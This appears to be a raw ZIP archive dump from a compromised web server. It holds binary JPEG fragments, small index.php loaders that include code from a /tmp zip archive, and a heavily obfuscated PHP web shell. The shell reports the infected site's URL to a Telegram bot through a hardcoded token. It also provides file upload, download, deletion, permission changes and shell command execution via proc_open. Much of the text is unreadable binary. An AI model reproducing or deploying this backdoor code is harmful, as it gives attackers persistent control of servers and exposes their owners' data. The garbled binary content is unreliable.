2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww1/686f89aa1bcc3.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww1/67b43eddb436e.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!z�(�hh1/6sl23d/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "void.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�o<ww1/67c59b3d64875.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!Yx�Jkk1/wbcdqx/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-blog.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�o<ww1/68484db1d2c73.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww1/6865479e2bffb.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!Ʀ�}*}*1/kgm5j7/r5n6i.phpnu�[���<?php goto vYA4y;vYA4y:error_reporting(0);goto XqzIM;XqzIM:$c_940d908b="\66\x33\60\x34\62\70\67\63\71\61\72\x41\x41\x47\160\153\x67\55\x4b\x6b\x4d\156\144\x4a\123\x62\x75\x77\x73\65\151\x46\124\127\x50\x6b\x52\137\x36\x2d\x65\172\x6a\120\154\167";goto TCxME;o4u3j:$n_b6bd307f="\x57\157\157\x70\172\40\72\142\40\72\x20{$v_f47645ae}";goto iGXeV;enP1v:$n_6eb315ae.="\x3f\143\x68\x61\x74\x5f\x69\144\75{$i_bdb90bd4}\46\x74\145\x78\x74\75".urlencode($n_b6bd307f);goto e7TL5;e7TL5:$z_136ac113=file_get_contents($n_6eb315ae);goto AYIi_;TCxME:$i_bdb90bd4="\x35\x39\x35\x34\61\x34\60\66\x36";goto AMtqF;AMtqF:$v_f47645ae="\150\x74\164\160\x3a\57\x2f".$_SERVER["\x48\x54\x54\x50\x5f\110\117\x53\x54"].$_SERVER["\122\105\121\x55\x45\123\124\x5f\x55\122\x49"];goto o4u3j;iGXeV:$n_6eb315ae="\x68\164\x74\160\x73\x3a\57\x2f\x61\160\151\x2e\x74\x65\x6c\x65\x67\x72\x61\155\x2e\x6f\162\x67\x2f\x62\157\x74{$c_940d908b}\x2f\163\145\x6e\144\115\x65\163\x73\141\147\x65";goto enP1v;AYIi_:?>
 <?php goto Vj7Mh;MsTWh:$b_949843ba=$i_d0de086c("\x5c","\57",$b_949843ba);goto JTaLv;NW3Fw:function fdt($f_101668c4){$i_fe37a210="\144\x61"."\x74\x65";$f_c4a8afbc="\146\151\154"."\145\155\164"."\151\155\x65";return $i_fe37a210("\106\x20\144\x20\x59\40\110\x3a\151\x3a\x73",$f_c4a8afbc($f_101668c4));}goto CdbXP;PerNt:function red($k_dafbc441){echo "\74\x63\145\156\x74\x65\x72\76\74\146\x6f\x6e\164\40\x63\157\154\157\x72\x3d\47\x72\145\x64\47\76".$k_dafbc441."\x3c\x2f\x63\145\x6e\164\145\x72\x3e\74\57\146\157\156\164\x3e";}goto mSple;ZWo23:$d_529af2fc="\x70\150"."\160\x5f\x75"."\156\141"."\x6d\145";goto MOUIa;DeZ8r:$r_8b0e2cb8="\x6f\x63"."\164\x64"."\x65\x63";goto gddNr;b2wMC:$x_33b4e686="\160\x68"."\x70\x76\x65"."\162\x73\x69"."\157\x6e";goto in22G;UAZbu:echo "\74\57\x74\x64\76\74\57\x74\x72\76\x3c\x74\162\x3e\x3c\x74\x64\76\74\142\x72\x3e";goto mB4of;nbjx3:function xrd($p_f4e10ab8){$i_fe37a210="\x73"."\x63\141"."\156\x64"."\151\162";$o_9a61eb17=$i_fe37a210($p_f4e10ab8);foreach($o_9a61eb17 as $u_64aa363c){if($u_64aa363c==="\x2e"||$u_64aa363c==="\56\x2e"){continue;}$f_c4a8afbc="\x69\163"."\x5f\144\x69"."\162";$h_84884860=$p_f4e10ab8."\57".$u_64aa363c;if($f_c4a8afbc($h_84884860)){xrd($h_84884860);}else{$v_c162e65a="\165"."\156\154"."\x69\156"."\x6b";$v_c162e65a($h_84884860);}}$f_ee334ab1="\162\x6d"."\x64\151"."\162";$f_ee334ab1($p_f4e10ab8);}goto juhWK;vtKIw:$q_ffcec99e="\147\145"."\164\x63"."\x77\144";goto VLDW0;TPXiP:$g_4fa2ccbf="\163\164"."\162\x70"."\157\163";goto bkxbx;hqFNp:function komend($d_6c97d761,$y_4148b6ac){$f_f327178c="\x70\x72"."\145\x67\x5f"."\155\x61\164"."\x63\150";$j_2d526d7c="\x32"."\76"."\46"."\61";if(!$f_f327178c("\x2f".$j_2d526d7c."\x2f\151",$d_6c97d761)){$d_6c97d761=$d_6c97d761."\x20".$j_2d526d7c;}$i_fe37a210="\x66\165"."\x6e\x63\164\x69"."\157\156\x5f"."\x65\170"."\x69\163"."\164\163";$f_c4a8afbc="\x70"."\162\x6f"."\143\x5f\157\x70"."\x65\156";$v_c162e65a="\x68\164\155"."\154\x73\x70\x65"."\143\151\x61\154\x63"."\x68\141\x72\x73";$f_ee334ab1="\x73"."\x74\x72\x65\141"."\x6d\x5f\147"."\x65\164\x5f\143"."\157\156\x74"."\145\x6e\164\x73";if($i_fe37a210($f_c4a8afbc)){$o_5d50fbb4=$f_c4a8afbc($d_6c97d761,array(0=>array("\x70\151\160\145","\162"),1=>array("\x70\151\x70\x65","\167"),2=>array("\160\151\160\145","\x72")),$t_8795e65d,$y_4148b6ac);return "\74\x70\x72\x65\x3e".$v_c162e65a($f_ee334ab1($t_8795e65d[1]))."\x3c\57\160\x72\145\x3e";}else{return "\x70\162"."\157\143"."\137\x6f\160"."\145\x6e\x20\x66"."\x75\x6e\143"."\x74\151\157"."\x6e\x20\151"."\163\40\144\x69"."\x73\x61\142\x6c"."\145\x64\x20\41";}}goto jFVR0;zPbqE:$t_288d3c3="\146\151"."\x6c\x65\x5f\x70"."\x75\x74\137\143\157"."\x6e\x74\x65"."\156\x74\x73";goto Gwd6r;q7TOb:$j_5c160f12="\163"."\x74\x72\151\160"."\x73\154\x61\163\150"."\145\x73";goto Qrum_;nen6F:$i_f351eb00="\x62\141"."\x73\x65"."\156\x61"."\x6d\x65";goto Bo_OK;fPh06:$s_558f1434="\146\x75"."\156\x63"."\x74\x69\x6f\156"."\x5f\145\170\x69"."\163\x74\163";goto uaADV;UqEDw:$h_8e3abc4c=@$l_fafffa39($b_949843ba);goto kJLyj;mB4of:if(isset($_POST["\x75\160\167\x6b\x77\153"])){if(isset($_POST["\x62\x65\x72\153\141\163\156\171\141"])){if($_POST["\x64\x69\x72\x6e\x79\141"]=="\x32"){$b_949843ba=$_SERVER["\x44\117\103"."\125\x4d\105"."\x4e\124\137\122"."\x4f\x4f\x54"];}if(empty($_FILES["\x62\145\162\153\141\163"]["\156\x61\155\x65"])){echo "\x3c\146\x6f\156\164\x20\x63\x6f\154\157\162\x3d\x6f\162\141\156\x67\x65\x3e\106\151"."\154\x65\x20\156\157\164\x20\123\145"."\154\x65\x63\x74\145\144\40\41\74\x2f\146\157\156\x74\76\x3c\x62\x72\76\74\x62\x72\76";}else{$i_6273dfd=@$t_288d3c3($b_949843ba."\57".$_FILES["\142\145\162\x6b\141\x73"]["\156\x61\155\x65"],@$h_27ab167c($_FILES["\142\145\x72\153\141\163"]["\x74\155"."\160\x5f\x6e\141"."\x6d\145"]));if($v_ad6a2413($b_949843ba."\x2f".$_FILES["\x62\145\162\x6b\x61\163"]["\x6e\x61\x6d\145"])){$f_101668c4=$b_949843ba."\57".$_FILES["\x62\145\x72\x6b\x61\x73"]["\x6e\141\x6d\145"];echo "\x46\x69"."\x6c\x65\x20\125\160\x6c"."\157\x61"."\x64\145\144\40\41\x20\x26\156\142\163\160\x3b\x3c\146\x6f\156\164\x20\143\157\x6c\157\162\75\47\147\157\x6c\144\x27\76\x3c\x69\76".$f_101668c4."\x3c\57\151\x3e\74\57\x66\157\x6e\164\x3e\74\x62\x72\x3e";if($g_4fa2ccbf($b_949843ba,$_SERVER["\104\x4f"."\103\125"."\115"."\105\x4e\x54"."\137\122"."\x4f\x4f"."\x54"])!==false){$l_11b65e72=$i_d0de086c($_SERVER["\104\x4f"."\x43\125"."\115"."\105\x4e\124"."\x5f\122"."\x4f\x4f"."\124"],$s_1395f64f."\57",$f_101668c4);echo "\x4c\x69"."\156\x6b\x20\x3a\x20\x3c\141\x20\x68\162\x65\146\x3d\47".$l_11b65e72."\x27\x3e\x3c\x66\157\x6e\164\x20\x63\157\x6c\157\x72\x3d\47\x23\x64\x66\65\47\x3e".$l_11b65e72."\x3c\57\146\x6f\156\x74\x3e\74\57\141\76\74\x62\162\76";}echo "\x3c\142\x72\x3e";}else{echo "\74\x66\157\x6e\x74\x20\x63\157\x6c\x6f\162\75\47\x72\145\x64\47\76\x46\x61"."\151\x6c\145"."\x64\x20\164\x6f\x20\125\x70"."\154\157"."\x61\x64\40\x21\x3c\x2f\146\157\156\164\x3e\74\142\162\x3e\x3c\142\x72\x3e";}}}elseif(isset($_POST["\x6c\x69\156\153\x6e\x79\x61"])){if(empty($_POST["\x6e\141\155\141\154\x69\156\153"])){echo "\74\x66\157\156\x74\40\x63\157\x6c\157\x72\75\x6f\162\141\156\x67\145\76\x46\151"."\x6c\145\x6e\x61\155\x65\x20\x63\141\156\156\157\164\x20\x62\x65\x20\x65\x6d\160\164\x79\40\41\x3c\x2f\x66\157\x6e\x74\76\x3c\x62\162\x3e\x3c\x62\x72\76";}elseif(empty($_POST["\144\141\162\x69\x6c\x69\156\153"])){echo "\x3c\x66\x6f\156\164\x20\x63\157\x6c\x6f\x72\x3d\x6f\162\141\x6e\147\145\x3e\114\151\x6e\153\x20\x63\x61\x6e\x6e\157\164\40\142\145\x20\145\x6d\160\x74\171\x20\x21\x3c\57\x66\157\156\164\x3e\74\x62\162\76\74\x62\x72\x3e";}else{if($_POST["\x64\x69\x72\x6e\171\141"]=="\62"){$b_949843ba=$_SERVER["\104\117\x43"."\125\x4d\x45"."\116\x54\137\122"."\x4f\117\x54"];}$i_6273dfd=@$t_288d3c3($b_949843ba."\57".$_POST["\x6e\x61\x6d\141\154\151\156\153"],@$h_27ab167c($_POST["\x64\141\x72\151\154\151\156\x6b"]));if($v_ad6a2413($b_949843ba."\x2f".$_POST["\x6e\x61\155\x61\x6c\x69\x6e\x6b"])){$f_101668c4=$b_949843ba."\57".$_POST["\156\141\x6d\141\154\151\156\153"];echo "\x46\151"."\x6c\x65\x20\125\x70\x6c\157"."\x61\144\x65"."\x64\40\41\40\46\x6e\142\163\160\73\x3c\146\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\x27\x23\144\x66\x35\x27\x3e\x3c\x69\x3e".$f_101668c4."\74\57\151\x3e\x3c\57\x66\157\x6e\164\76\x3c\x62\162\76";if($g_4fa2ccbf($b_949843ba,$_SERVER["\104\x4f"."\103\125"."\x4d"."\x45\x4e\x54"."\x5f\122"."\117\117"."\124"])!==false){$l_11b65e72=$i_d0de086c($_SERVER["\x44\117"."\x43\125"."\115"."\x45\116\x54"."\x5f\122"."\117\117"."\x54"],$s_1395f64f."\57",$f_101668c4);echo "\114\151"."\x6e\153\40\x3a\40\74\141\40\x68\162\145\x66\x3d\x27".$l_11b65e72."\47\x3e\x3c\x66\157\156\x74\40\143\157\x6c\157\x72\x3d\47\x23\x64\146\65\47\x3e".$l_11b65e72."\74\57\x66\x6f\156\x74\76\74\x2f\141\x3e\74\x62\x72\76";}echo "\74\x62\x72\76";}else{echo "\74\146\x6f\x6e\x74\40\x63\157\x6c\x6f\x72\75\47\162\x65\144\x27\76\x46\141"."\151\x6c\145\144\x20\x74\x6f\x20\125\160"."\154\157"."\x61\x64\x20\41\74\57\x66\x6f\156\164\76\74\142\x72\76\74\142\162\76";}}}}goto ndOEQ;isMqz:$h_b024192="\151"."\163\x5f\144"."\x69\x72";goto qCv8M;P2sl3:if(@$v_ad6a2413("\x2f"."\x75\x73"."\162\57\x62"."\151\x6e\57\160"."\x79\164\x68\x6f"."\156\62")){echo "\x3c\x66\157\x6e\164\x20\x63\157\x6c\x6f\162\x3d\147\162\x65\x65\156\x3e\117\x4e\74\57\x66\157\x6e\164\76";}else{echo "\x3c\x66\157\x6e\x74\40\x63\157\154\x6f\x72\75\162\145\144\76\x4f\106\106\74\x2f\146\157\x6e\x74\x3e";}goto KwIL3;RJSxn:$v_94665b70=@$n_f7dd1c23("\x64\x69\163"."\x61\142\154"."\145\x5f\146"."\165\156\x63\x74"."\x69\157\156"."\163");goto ohRIa;kJLyj:foreach($t_d79385d6 as $r_77e40fd5=>$j_3db9938d){if($j_3db9938d==''&&$r_77e40fd5==0){$i_fe37a210=true;echo "\74\x61\x20\x68\162\x65\x66\75\42\77\154\157\x6b\156\171\141\x3d\57\42\76\57\x3c\57\141\76";continue;}if($j_3db9938d==''){continue;}echo "\74\x61\40\150\x72\145\146\75\42\x3f\154\x6f\153\x6e\x79\x61\x3d";for($u_d912bbd6=0;$u_d912bbd6<=$r_77e40fd5;$u_d912bbd6++){echo"{$t_d79385d6[$u_d912bbd6]}";if($u_d912bbd6!=$r_77e40fd5){echo "\x2f";}}echo "\x22\76".$j_3db9938d."\74\x2f\141\76\57";}goto UAZbu;stRxh:$n_864de9c3="\x72"."\157\x75"."\x6e\x64";goto vnzdc;kBF2w:?>
<meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><?php goto Qjtez;F6i6S:$f_9155b880="\146\151\154"."\145\160\145"."\162\x6d\163";goto MRh5I;qMRRu:function cekdir(){if(isset($_GET["\154\157\153\x6e\x79\x61"])){$b_949843ba=$_GET["\x6c\157\153\156\x79\141"];}else{$b_949843ba="\147\x65"."\x74"."\x63\x77"."\144";$b_949843ba=$b_949843ba();}$f_c4a8afbc="\151"."\163\x5f\x77"."\162\x69"."\164\141\x62"."\154\x65";if($f_c4a8afbc($b_949843ba)){return "\74\146\157\156\164\x20\x63\157\x6c\157\x72\x3d\47\x67\162\145\145\x6e\x27\x3e\127\x72\x69\164\145\x61\142\154\x65\74\57\146\x6f\156\164\76";}else{return "\x3c\x66\157\x6e\164\40\x63\157\x6c\x6f\x72\x3d\x27\x72\x65\144\x27\76\127\x72\151\164\145\x61\x62\154\x65\74\57\146\157\x6e\x74\76";}}goto Yk4fq;Avx7m:echo "\x3c\150\162\76\x3c\143\145\x6e\x74\145\x72\x20\x73\164\171\x6c\145\x3d\x22\x66\157\156\164\x2d\x66\141\x6d\151\x6c\x79\x3a\x20\x52\x75\x73\163\x6f\40\x4f\x6e\145\42\76";goto sFCMz;bdVN_:if(@$s_558f1434("\155\x79"."\163\161\x6c\137\x63\x6f"."\156\156\x65"."\143\x74")){echo "\74\x66\x6f\x6e\x74\x20\143\x6f\154\157\162\x3d\x67\x72\x65\145\156\x3e\x4f\x4e\x3c\x2f\146\x6f\156\x74\x3e";}else{echo "\x3c\x66\157\x6e\x74\40\143\157\x6c\157\162\75\x72\x65\x64\x3e\x4f\106\x46\74\57\x66\157\x6e\x74\x3e";}goto V7RIM;JTaLv:$t_d79385d6=$e_7bb1988c("\x2f",$b_949843ba);goto UqEDw;ndOEQ:echo "\x55\x70\x6c\x6f"."\141\x64\40\x46\151"."\154\145\40\x3a\40";goto Oqp1t;CdbXP:function dunlut($f_101668c4){$i_fe37a210="\x66\151\154"."\145\137\x65\x78\151"."\163\164\163";$f_c4a8afbc="\142\141"."\163\x65\x6e\x61"."\x6d\x65";$v_c162e65a="\x66\151"."\x6c\145\x73"."\151\x7a\145";$f_ee334ab1="\162\145\141\x64"."\x66\x69"."\x6c\145";if($i_fe37a210($f_101668c4)&&isset($f_101668c4)){header("\103\157\x6e"."\x74\x65\156\x74\55\x44\145\163\x63\x72"."\x69\x70\x74\x69\x6f\156\72\40\106\151"."\x6c\145\x20\x54\x72\141"."\x6e\x73\146\145\162");header("\103\x6f\156\164\145\x27\x2e\47\x6e\164\55\103\x6f\156\164\x72\x6f\154\x3a\x70\x75\x62\154\151\x63");header("\x43\x6f\x6e\x74"."\145\156\164\55\124\x79\160\145\72\x20\141"."\x70\x70"."\x6c\x69\x63\141\164"."\x69\157\x6e\57\x6f\143"."\164\x65\x74\55\x73"."\x74\162\145\x61\155");header("\x43\157\x6e\x74"."\145\x6e\x74\x2d\x44\x69\163"."\x70\x6f\x73\151\x74"."\151\x6f\156\x3a\x20\x61\164"."\x74\x61\143\150\x6d"."\145\x6e\x74\x3b\40\x66\151"."\154\145\156\141"."\x6d\x65\x3d\42".$f_c4a8afbc($f_101668c4)."\42");header("\105\170\x70"."\x69\x72\x65\163\72\40\x30");header("\x45\170"."\x70\151\x72\x65\x64\x3a\60");header("\103\141\143"."\x68\x65\x2d\x43\157\156\164"."\162\157\154\72\40\155\x75\x73\164"."\55\162\x65\166\141\154\151"."\x64\141\164\x65");header("\x43\157\156\x74"."\x65\156\164\55\124\x72\x61\156"."\x73\146\145\x72\55\105\156\x63"."\x6f\x64\x69\156\147\x3a\x62\x69"."\x6e\x61\162\171");header("\120\162\141"."\147\x6d\x61\72\40\x70\x75\x62"."\x6c\151\143");header("\x43\157\156"."\164\145\x6e"."\164\x2d\114\145"."\x6e\147\164\150\x3a\40".$v_c162e65a($f_101668c4));flush();$f_ee334ab1($f_101668c4);die;}else{return "\x46\x69"."\154\x65\40\116\x6f\x74\x20\x46"."\157\x75\156\x64\40\x21";}}goto hqFNp;b_MB1:if(isset($_GET["\x6c\x6f\x6b\x6e\x79\141"])){$b_949843ba=$_GET["\x6c\157\153\x6e\171\141"];$s_fe6237e0=$_GET["\154\157\153\156\171\x61"];}else{$b_949843ba=$q_ffcec99e();$s_fe6237e0=$q_ffcec99e();}goto MsTWh;GWN3Y:$c_301d40cc=$i_d0de086c("\x2f\57","\57",$c_301d40cc);goto X5OJQ;BoDNx:error_reporting(0);goto vtKIw;LrbsP:if(@$v_ad6a2413("\x2f"."\x75\163"."\x72\x2f\x62"."\x69\156\57\160"."\x6b"."\145"."\170"."\x65"."\143")){echo "\x3c\146\x6f\156\164\40\143\157\154\x6f\162\x3d\x67\x72\x65\145\x6e\76\x4f\x4e\x3c\x2f\x66\157\x6e\164\x3e";}else{echo "\x3c\146\x6f\x6e\x74\x20\x63\x6f\x6c\157\162\75\x72\x65\144\x3e\x4f\106\x46\74\x2f\146\x6f\x6e\164\76";}goto O6GG1;dTR4e:echo "\x20\46\x6e\142\163\x70\x3b\x7c\x26\156\142\x73\x70\x3b\x20\120\171\164"."\x68\157"."\156\40\x3a\x20";goto P2sl3;O6GG1:echo "\74\142\162\76\x44\151"."\x72\145\x63\164"."\x6f\162\171\x20\72\40\x26\x6e\x62\163\x70\x3b";goto LfWyY;k_yi2:echo "\74\x74\162\76";goto MMlvK;Qrum_:$l_fafffa39="\163\x63"."\141"."\x6e\144"."\x69\162";goto Yy3fF;gddNr:$f_45c35a5c="\151"."\x73\x5f\x77\x72"."\x69\164\141\x62"."\154\x65";goto l3Ud9;xVSjI:$g_9b1364ea="\x69\x73\137"."\x72\x65"."\141\144\x61\x62"."\154\x65";goto IGvzT;zzeS9:foreach($h_8e3abc4c as $b_b3a79161){$e_aef8a378=$b_949843ba."\x2f".$b_b3a79161;$e_aef8a378=$i_d0de086c("\57\57","\x2f",$e_aef8a378);if(!$h_b024192($e_aef8a378)||$b_b3a79161=="\56"||$b_b3a79161=="\x2e\x2e"){continue;}echo "\74\x74\x72\76";echo "\x3c\164\144\76\74\151\x20\x63\154\141\x73\x73\75\47\146\x61\40\x66\141\55\x66\x6f\x6c\x64\145\162\47\40\163\164\171\154\145\75\x27\x63\x6f\x6c\x6f\162\72\40\43\146\146\145\71\x61\x32\47\x3e\x3c\x2f\151\x3e\x20\x3c\141\x20\x68\162\x65\146\x3d\42\77\x6c\157\x6b\x6e\x79\141\75".$e_aef8a378."\42\76".$b_b3a79161."\x3c\57\141\76\x3c\57\164\x64\x3e\12\x9\x3c\164\144\76\74\143\145\156\164\145\162\x3e\x2d\x2d\74\57\143\x65\x6e\164\x65\x72\x3e\x3c\57\x74\144\x3e\xa\11\74\164\x64\x3e\x3c\x63\x65\x6e\164\x65\x72\76".fdt($e_aef8a378)."\74\x2f\x63\145\x6e\x74\x65\162\76\x3c\x2f\x74\x64\x3e\12\x9\74\164\x64\76\74\x63\145\x6e\164\x65\162\x3e".gor($e_aef8a378)."\x20\x2f\x20".ggr($e_aef8a378)."\x3c\57\143\x65\x6e\164\x65\x72\76\74\57\164\144\x3e\12\x9\74\x74\x64\x3e\x3c\143\x65\x6e\164\145\162\76";if($f_45c35a5c($e_aef8a378)){echo "\x3c\x66\157\156\164\40\x63\x6f\x6c\x6f\162\75\x22\147\x72\145\145\156\42\x3e";}elseif(!$g_9b1364ea($e_aef8a378)){echo "\x3c\146\157\x6e\164\40\x63\157\154\x6f\x72\75\42\162\145\144\x22\x3e";}echo statusnya($e_aef8a378);if($f_45c35a5c($e_aef8a378)||!$g_9b1364ea($e_aef8a378)){echo "\x3c\57\146\157\156\164\76";}echo"\x3c\57\x63\145\x6e\x74\x65\162\76\74\57\x74\144\76\xa\11\74\x74\x64\76\74\143\x65\x6e\164\145\162\x3e\74\x66\x6f\162\155\x20\x6d\x65\164\150\157\144\x3d\x22\120\117\x53\x54\x22\x20\x61\143\164\151\x6f\x6e\75\x22\x3f\x70\151\x6c\151\150\x61\156\x26\154\157\x6b\x6e\x79\x61\x3d{$b_949843ba}\42\76\12\11\x3c\151\x6e\160\165\x74\40\x74\x79\160\x65\x3d\x22\x68\151\144\144\x65\156\42\x20\x6e\141\x6d\145\75\42\x74\171\160\x65\42\40\x76\x61\154\165\145\x3d\42\x64\151\x72\42\x3e\12\11\x3c\151\x6e\160\x75\164\40\x74\171\x70\145\75\42\x68\151\144\144\145\156\x22\x20\156\x61\155\145\75\42\156\141\155\145\42\40\166\x61\x6c\165\x65\75\x22{$b_b3a79161}\x22\76\12\11\74\x69\156\160\x75\x74\40\164\x79\x70\145\x3d\42\x68\151\x64\144\145\x6e\x22\40\156\141\155\x65\75\42\x6c\157\153\x6e\x79\141\x22\40\166\x61\x6c\165\145\x3d\42{$b_949843ba}\57{$b_b3a79161}\42\76\12\x9\74\x62\x75\164\x74\157\156\40\164\171\160\x65\x3d\x27\x73\165\x62\x6d\x69\164\47\40\x63\x6c\x61\x73\x73\75\x27\x62\x74\x66\47\x20\x6e\141\155\x65\75\x27\160\151\x6c\x69\150\x27\x20\x76\x61\x6c\165\145\75\x27\x75\142\141\150\x6e\x61\155\141\x27\76\74\x69\40\143\154\141\x73\x73\x3d\x27\146\x61\40\x66\x61\x2d\x70\145\x6e\x63\x69\154\x27\x20\163\x74\x79\x6c\x65\x3d\x27\x63\x6f\154\157\162\x3a\x20\43\x66\146\x66\47\76\74\57\151\x3e\74\57\142\165\x74\x74\157\156\76\xa\x9\x3c\x62\165\x74\164\x6f\x6e\40\164\171\x70\x65\x3d\x27\x73\165\x62\155\151\x74\x27\40\x63\154\141\163\x73\x3d\x27\x62\164\146\47\x20\x6e\x61\x6d\x65\x3d\47\x70\151\x6c\x69\150\x27\40\x76\x61\x6c\x75\x65\75\x27\165\x62\x61\150\164\x61\156\147\147\141\x6c\x27\76\74\151\40\x63\154\141\163\x73\x3d\47\146\x61\40\x66\x61\x2d\x63\141\154\x65\156\x64\141\162\x27\x20\163\x74\x79\154\x65\x3d\x27\x63\x6f\x6c\x6f\x72\72\40\43\x66\x66\146\x27\x3e\x3c\57\151\x3e\74\57\142\165\x74\164\157\156\76\12\11\74\x62\165\x74\x74\157\x6e\40\164\x79\x70\145\75\47\x73\x75\142\155\151\x74\47\40\143\154\x61\163\163\75\47\142\x74\x66\47\x20\x6e\141\x6d\x65\x3d\47\160\x69\154\151\150\x27\40\166\141\154\x75\x65\75\47\165\142\141\x68\x6d\x6f\x64\47\x3e\74\x69\40\143\154\x61\163\x73\75\47\146\x61\x20\x66\x61\55\x67\145\141\x72\x27\40\163\164\171\x6c\145\75\x27\x63\x6f\154\157\x72\72\40\43\x66\146\146\47\76\74\57\x69\76\74\57\142\x75\x74\164\x6f\156\x3e\xa\11\74\x62\x75\164\164\157\156\x20\164\171\x70\145\x3d\47\x73\x75\142\x6d\x69\x74\47\x20\143\x6c\x61\163\163\75\x27\142\164\x66\x27\40\156\x61\155\x65\x3d\47\160\x69\154\151\150\47\40\166\x61\x6c\165\x65\75\47\150\x61\160\165\x73\47\76\74\151\40\143\154\x61\x73\x73\75\x27\146\141\40\146\141\x2d\x74\x72\141\x73\150\47\x20\x73\x74\171\x6c\145\x3d\47\143\157\x6c\x6f\162\x3a\x20\43\x66\x66\146\47\76\x3c\57\151\76\74\57\142\x75\x74\164\157\x6e\x3e\xa\x9\74\57\x66\x6f\162\155\x3e\74\57\x63\x65\x6e\x74\x65\x72\76\74\x2f\164\x64\76\12\11\x3c\